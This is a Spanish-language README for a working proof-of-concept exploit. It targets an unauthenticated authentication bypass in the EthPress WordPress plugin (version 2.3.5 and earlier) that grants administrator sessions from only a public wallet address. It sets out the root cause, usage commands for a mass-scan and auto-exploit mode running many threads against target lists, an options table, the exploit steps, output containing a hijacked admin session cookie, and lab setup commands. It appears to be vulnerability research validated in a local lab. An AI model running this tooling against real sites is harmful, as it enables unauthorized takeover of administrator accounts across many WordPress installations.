
Prueba de concepto verificada que explota el bypass de autenticación no autenticado de EthPress <= 2.3.5, otorgando una sesión de administrador de WordPress mediante una dirección de wallet.
Prueba de concepto funcional y verificada para la omisión de autenticación del inicio de sesión con cartera de EthPress, desarrollada y validada contra el laboratorio local X-1.
RAZZ, id de usuario 1, roles=['administrator']) usando únicamente una dirección de cartera pública.http://localhost:8080 — WordPress + MySQL (Docker, wp_app/wp_db)_plugin-reference/app/Login.php::verify_login() (v2.3.5) comprueba la firma de la cartera, construye un WP_Error cuando la comprobación falla — y luego olvida devolverlo:
51 if ( !$verified ) {
52 $user = new \WP_Error('ethpress', $verify_error); // dead store, no return
53 }
54 // Log in. // fall-through
55 try {
...
70 $user = $address->log_in(); // wp_set_auth_cookie()
La ejecución continúa hacia el bloque de inicio de sesión, Address::log_in() resuelve la dirección de cartera proporcionada por el atacante hacia su usuario de WordPress propietario, y wp_set_auth_cookie() autentica a ese usuario. La respuesta es {"success":true,"data":{"message":"Logged in"}}.
# single target
python3 poc.py -u http://localhost:8080 -a 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a
# mass mode (file of targets, 20 threads, JSONL log)
python3 poc.py -f targets.txt -t 20 -o results.jsonl -a 0xVICTIMWALLET
# several candidate addresses against several targets
python3 poc.py -f targets.txt -af addresses.txt -t 20 -o results.jsonl
| Opción | Significado |
|---|---|
-f, --file | archivo de URLs objetivo (una por línea, comentarios con #) para escaneo masivo + autoexplotación |
-t, --threads | hilos de trabajo concurrentes (por defecto 10) |
-o, --output | ruta de salida/registro, JSON Lines (por defecto cve-2026-19125-results.jsonl) |
-u, --url | URL objetivo única (repetible) |
-a, --address | dirección de cartera de la víctima vinculada a una cuenta de WordPress |
-af, --address-file | archivo de direcciones de cartera candidatas |
-k, --private-key | clave privada del atacante en hexadecimal (por defecto: clave aleatoria nueva por ataque) |
--timeout | segundos de tiempo de espera HTTP (por defecto 20) |
--verify-tls | verificar certificados TLS |
-q, --quiet | suprimir líneas de progreso por objetivo |
requests es la única dependencia (pip install requests). Toda la criptografía de Ethereum (Keccak-256, secp256k1, firma RFC 6979, recuperación de dirección) está implementada dentro de poc.py solo con la biblioteca estándar.
[*] attacker wallet : fresh random key generated per attack
[*] targets=1 addresses=1 jobs=1 threads=1
[*] http://localhost:8080 EXPLOITED authentication cookie accepted by WordPress (full administrator confirmed)
[!] !! EXPLOITED http://localhost:8080 as user id=1 login=RAZZ roles=['administrator'] (primitive: valid-signature)
[!] !! session cookie: wordpress_logged_in_37d007a5...=RAZZ%7C1790339157%7C...
GET /wp-login.php y leer ethpressLoginWP.loginNonce. Es un wp_create_nonce('ethpress_log_in') acuñado para una sesión anónima (uid=0) y por lo tanto es válido para la propia llamada AJAX no autenticada del atacante.coinbase enviado. verify2() devuelve [false, error] — y 2.3.5 lo descarta. (Una firma completamente vacía también funciona; poc.py recurre a eso automáticamente.)/wp-admin/, extraer el nonce REST de la sesión y llamar a /wp/v2/users/me?context=edit → el id de usuario real, el login y los roles; además, afirmar el acceso a cuatro pantallas exclusivas de administrador.| Prueba | Compilación | Esperado | Observado | Artefacto |
|---|---|---|---|---|
| Exploit positivo, dirección de administrador vinculada | 2.3.5 | toma de control | id=1 RAZZ roles=['administrator'], las 4 capacidades de admin | results.jsonl, evidence/run-positive.log |
| Control negativo, dirección no vinculada | 2.3.5 | sin sesión | "You have not registered on this site" | results-neg.jsonl |
| Control parcheado, ambas primitivas | 2.3.6 | rechazado | "Failed to verify signature. The address ... extracted ..." | results-patched.jsonl, evidence/run-patched-236.log |
| Reproducción con curl sin procesar, sin herramientas | 2.3.5 | `Set-Cookie: ...=RAZZ | ...` | confirmado |
| Matriz de límites de entrada de firma | 2.3.5 | mixto | 2 primitivas deterministas; blobs aleatorios ≈50/50 o HTTP 500 | evidence/boundary-matrix.txt |
users_can_register=1, dirección no vinculada | 2.3.5 | nueva sesión de suscriptor | usuario 0xAAAA... creado con rol subscriber, conectado (luego eliminado) | evidence/results-registration-open.jsonl |
Reproducir cualquiera de ellos:
bash lab-switch-version.sh 2.3.6 # patched -> exploit fails
bash lab-switch-version.sh 2.3.5 # vulnerable -> exploit succeeds
bash evidence/raw-repro.sh # tool-free curl transcript
python3 boundary-test.py # signature-input matrix
# plugin availability (official source only)
curl -s -o /dev/null -w '%{http_code}\n' https://wordpress.org/plugins/ethpress/ # 200
# vulnerable build installed and active
docker cp /tmp/plugin-src/ethpress/vulnerable-extracted/ethpress \
wp_app:/var/www/html/wp-content/plugins/ethpress
docker exec wp_app sh -c 'chown -R www-data:www-data /var/www/html/wp-content/plugins/ethpress \
&& find /var/www/html/wp-content/plugins/ethpress -type d -exec chmod 755 {} + \
&& find /var/www/html/wp-content/plugins/ethpress -type f -exec chmod 644 {} +'
docker exec wp_app wp plugin activate ethpress --allow-root # version 2.3.5
# precondition: admin (id=1 RAZZ) has a linked wallet address
docker exec wp_app wp user meta update 1 ethpress 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a --allow-root
wp user meta update escribe exactamente la clave de almacenamiento que escribe el propio Address::create() del plugin (update_user_meta($uid, 'ethpress', $coinbase)), por lo que la precondición se aprovisiona de la manera legítima — sin debilitamiento artificial del objetivo.
Las compilaciones de referencia para comparar residen fuera del directorio de plugins: ../_plugin-reference/ethpress/{vulnerable,latest}.
Intercambiar versiones del plugin en el mismo lugar mientras Apache sigue en ejecución deja el bytecode compilado antiguo en OPcache. PHP entonces continúa ejecutando los archivos de la versión anterior; como freemius/start.php:584 de 2.3.6 requiere freemius/require.php → includes/class-fs-hook-snapshot.php (un archivo que solo existe en 2.3.6), el sitio devolvía HTTP 500 aunque 2.3.5 estuviera en disco. lab-switch-version.sh ahora reinicia wp_app después de cada cambio y espera a que /wp-login.php devuelva 200. Confirma siempre la versión en ejecución, no solo la que está en disco.